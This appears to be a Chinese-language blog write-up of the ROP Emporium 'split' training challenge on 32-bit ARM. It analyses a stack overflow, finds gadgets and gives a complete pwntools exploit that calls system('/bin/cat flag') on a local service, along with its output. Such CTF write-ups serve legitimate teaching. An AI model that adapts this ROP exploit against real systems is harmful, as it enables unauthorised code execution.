OneShell

I fight for a brighter tomorrow

0%

split_armel

分析

这道题目的目的是使用ROP调用system函数,并设置参数为字符串/bin/cat flags的地址。总的来说,就是要了解armel的函数传参方式,然后调用相应的gadget。
分析pwnme函数,局部变量s的大小是36,但是可以传入0x60个字节,因此存在缓冲区溢出。

1
2
3
4
5
6
7
8
9
10
int pwnme()
{
char s[36]; // [sp+0h] [bp-24h] BYREF

memset(s, 0, 0x20u);
puts("Contriving a reason to ask user for data...");
printf("> ");
read(0, s, 0x60u);
return puts("Thank you!");
}

这个地方再说一下armel下的函数栈帧开辟和释放流程吧:
在函数初始化阶段,先将R11和LR两个寄存器保存到栈上,然后将SP+4的大小保存到R11上,最后SP自减0x20来开辟了栈帧。
R11也叫做FP(Frame Pointer)寄存器,类似于x86下的EBP寄存器,用于和SP一起界定函数栈栈的边界。FP寄存器就是指向栈底,SP寄存器就是指向栈顶。
pwnme函数是在main函数中通过BL指令跳转执行,BL指令会将其下一条指令作为pwnme函数的返回地址保存到LR寄存器中。因此在pwnme函数中保存到栈上的LR寄存器值就是需要通过缓冲区溢出进行修改的关键数据。

1
2
3
.text:00010570                 PUSH    {R11,LR}
.text:00010574 ADD R11, SP, #4
.text:00010578 SUB SP, SP, #0x20

在pwnme函数的结尾,会将R11+4的值赋值给SP,来做栈平衡。函数返回地址的跳转是直接通过POP指令将栈上的函数返回地址恢复到PC中。

1
2
.text:000105C0                 SUB     SP, R11, #4
.text:000105C4 POP {R11,PC}

和mipsel架构不同,armel的SP寄存器在函数的生命周期里面都是变化的,因此如果要定位、计算栈上变量的位置,可以用FP寄存器来计算。pwnme函数的局部变量s起始地址为fp-0x24,返回地址保存在fp,因此需要0x24个字节填充后,覆盖返回地址。

利用

经过观察,发现armel下的split不像mipsel,有UsefulGadgets可以直接使用。因此,需要自己去找gadgets了。
调用system函数需要知道system函数地址和传入的字符串,二者都在程序中。那么难点就是如何去传参。

  1. 需要从栈上将字符串设置到寄存器R0
  2. 需要从栈上将system函数的地址设置到PC寄存器上

使用ROPGadget没有找到直接从栈上POP数据到R0的指令,因此考虑先将字符串地址从栈上取出到另外一个寄存器,然后再mov到R0上。只找到如下的一条:

1
2
# ROPgadget --binary split_armv5 | grep "mov" | grep "r0"
0x00010558 : mov r0, r3 ; pop {fp, pc}

那么继续找可以从栈上恢复数据到R3寄存器的指令,挺多的,找了如下的两条做参考:

1
2
3
# ROPgadget --binary split_armv5 | grep "pop" | grep "r3"
.fini:00010658 POP {R3,PC}
.init:000103A4 POP {R3,PC}

ROP编写如下:

1
2
3
4
5
6
7
rop = b"A" * 0x24
rop += p32(0x00010658) # POP {R3,PC}
rop += p32(字符串地址) # 字符串地址
rop += p32(0x00010558) # mov r0, r3 ; pop {fp, pc}

rop += b"AAAA"
rop += p32(system函数)

简单补充一下armel下批量POP的话,是先POP到序号小的寄存器。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

BINARY = "./split_armv5"
ELF = ELF(BINARY)

context.os = "linux"
context.arch = "arm"
context.binary = BINARY

p = remote("0.0.0.0", 8888)
pause()
rop = b"A" * 0x24
rop += p32(0x00010658) # POP {R3,PC}
rop += p32(0x0002103C) # 字符串地址
rop += p32(0x00010558) # mov r0, r3 ; pop {fp, pc}

rop += b"AAAA"
rop += p32(0x000103EC) # system函数地址

p.recvuntil(b"> ")
p.sendline(rop)
print(p.recvline_contains(b"ROPE"))

利用结果如下:

1
2
3
4
5
6
7
8
9
10
[*] '/home/utest/rop_practice/armv5/split_armv5/split_armv5'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)
[+] Opening connection to 0.0.0.0 on port 8888: Done
[*] Paused (press any to continue)
b'ROPE{a_placeholder_32byte_flag!}'
[*] Closed connection to 0.0.0.0 port 8888